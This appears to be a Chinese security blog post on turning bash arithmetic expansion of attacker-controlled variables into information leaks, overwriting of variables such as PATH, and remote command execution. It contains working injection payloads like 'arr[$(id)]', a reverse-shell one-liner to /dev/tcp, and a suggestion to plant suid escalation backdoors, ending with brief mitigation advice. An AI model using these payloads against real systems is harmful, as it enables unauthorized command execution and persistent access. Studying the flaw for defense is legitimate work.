从算数扩展到 RCE
算数扩展导致的 RCE,有趣,可惜利用场景比较少见。
起源
大家在初三的时候就知道了 shell 可以通过 $变量名
来实现引用变量
。举例 I=$(whoami); echo "I am $I"
,结果是 I am Macr0phag3
。
与之对应的还有一个特性,官方名字应该是 算术扩展
(Arithmetic Expansion),参考链接
但有一个限制,即表达式中的元素必须是数字、算数函数或者变量,如果不符合会报错。可以用的算术符可以参考这个
最后得到的值也是数字。若传入的是字符串,则会得到为 0;如果字符串含有非字母,则会报错:
1
2
3
4
5
6
7
8➜ ~ a=1; echo $((a))
1
➜ ~ a="a"; echo $((a))
bash: a: expression recursion level exceeded (error token is "a")
➜ ~ a="A"; echo $((a))
0
➜ ~ a=":A"; echo $((a))
bash: :A: syntax error: operand expected (error token is ":A")
所以这到底有什么用呢?别着急,来看些例子。
信息泄露
1 |
|
运行:
1
2
3➜ ~ var='PATH' ./test.sh
PATH
./test.sh: line 5: ((: /usr/home/macr0phag3...
报错会带出 PATH
里的内容。可见 (( var == 0 ))
会展开里面的内容,并且实际上还是递归的。
变量覆盖
递归展开,例如这个变量覆盖的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#!/bin/bash
code=404
echo $var
echo $username
if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi
if [[ $code == 200 ]]
then
echo "pass"
else
echo "access denied"
fi
运行
1
2
3
4
5
6
7
8
9
10➜ ~ ./test.sh
404
zero
access denied
➜ ~ var='code=200' ./test.sh
code=200
404
not zero
pass
递归展开了 var='username=200'
,从而改变了看似无法改变的 username
的值。当然,递归展开的时候,得到的值也只会是数字,所以 username 最后会是数字。
既然能够覆盖变量,那么覆盖一个 PATH 也是手到擒来,这会导致命令替换,从而执行任意命令。假设有以下脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13#!/bin/bash
if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi
# ...
id
# ...
这个脚本执行了 id
。那么我们可以通过覆盖 PATH,使得这个脚本在执行的时候变成执行我们秘制的 id
:
1
2
3
4
5
6➜ ~ md 0
➜ ~ echo 'echo "hacked by Macr0phag3"' > ./0/id
➜ ~ chmod +x ./0/id
➜ ~ var='PATH=0' ./test.sh
zero
hacked by Macr0phag3
(0
可以换为任意数字)
可惜的是,这个利用场景有点苛刻,要满足:
- 源脚本在算术扩展后执行了一个命令
- 能在源脚本运行的目录下创建目录
0
- 能够在
0
下面创建同名的恶意脚本
命令执行
覆盖 PATH 实现的命令执行,可以,但是不够舒服。如果在算式中使用数组,并且索引为命令,那么在算术扩展的时候会将该命令替换为命令执行的结果,从而实现命令执行:
1
2
3
4
5
6
7
8
9
10#!/bin/bash
echo $var
if (( var == 0 ))
then
echo "zero"
else
echo "not zero"
fi
运行:
1
2
3
4
5
6➜ ~ var='arr[$(id)]' ./test.sh
arr[$(id)]
/usr/home/macr0phag3/test.sh: line 5: uid=1087(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3): syntax error in expression (error token is "(macr0phag3) gid=1088(macr0phag3) groups=1088(macr0phag3)")
➜ ~ var='arr[$(whoami)]' bash ~/test.sh
arr[$(whoami)]
zero
由于算术扩展的输入是字母类型,所以只有在命令的结果含有特殊字符的时候才有回显,所以可以拼一个特殊字符是它报错:
1
2
3➜ ~ var='arr[:$(whoami)]' ./test.sh
arr[:$(whoami)]
/usr/home/macr0phag3/test.sh: line 5: :macr0phag3: syntax error: operand expected (error token is ":macr0phag3")
还可以这样,让命令的输出走 stderr:
1
2
3
4➜ ~ var='arr[0$(whoami>&2)]' ./test.sh
arr[0$(whoami>&2)]
macr0phag3
zero
这样 0$(whoami>&2)
实际上就是 0
,可以避免报错。不懂的话,可以看这个,更加直观一些:
1
2
3➜ ~ var='arr[0$(whoami>&2)]' ./test.sh 2>/dev/null
arr[0$(whoami>&2)]
zero
虽然可以避免报错,但是由于命令输出走的是 stderr,不一定会回显到应用上。
不过说实话,都能执行任意命令了,其实无所谓输出不输出,反弹 shell 完事:
1
var='arr[$(bash -i >& /dev/tcp/10.xx.xx.xx/2333)]' ./test.sh
利用场景
可被用于算术扩展的语句不止 if (( var == 0 ))
,还可以是 if [[ $var -lt 0 ]]
、if [ -v "$var" ]
、echo "$((var))"
。有这个缺陷的也不止 bash,例如 zsh 也有类似的问题,比如 echo "$((var))"
。不过那三个 if
我试了一下不太行:
1
2
3
4
5
6➜ ~ var='arr[0$(whoami)]' bash ./test.sh
arr[0$(whoami)]
./test.sh: line 5: 0macr0phag3: value too great for base (error token is "0macr0phag3")
➜ ~ var='arr[0$(whoami)]' zsh ./test.sh
arr[0$(whoami)]
not zero
最后,总的来说,这个利用方式其实比较少见。可能的利用场景,例如:
- 执行用户可控环境变量的固定脚本。例如 url 中某个参数给用户提供了环境变量修改的权限,例如执行脚本时的语言(
LC_CTYPE
之类的)。这种情况下有机会造成命令执行。 - 受限的 shell 环境,或许能够通过这个方法进行逃逸。
- 结合 suid 进行提权。可以通过这个来留提权的后门,不过现在大部分的 shell 都不会理会 shell 脚本的 suid。
解决方案
目前我还没找到通用的解决方案,恐怕只能通过避免使用这些会进行算术扩展的语句,如果非得使用,可以对输入进行消毒处理。
来呀快活呀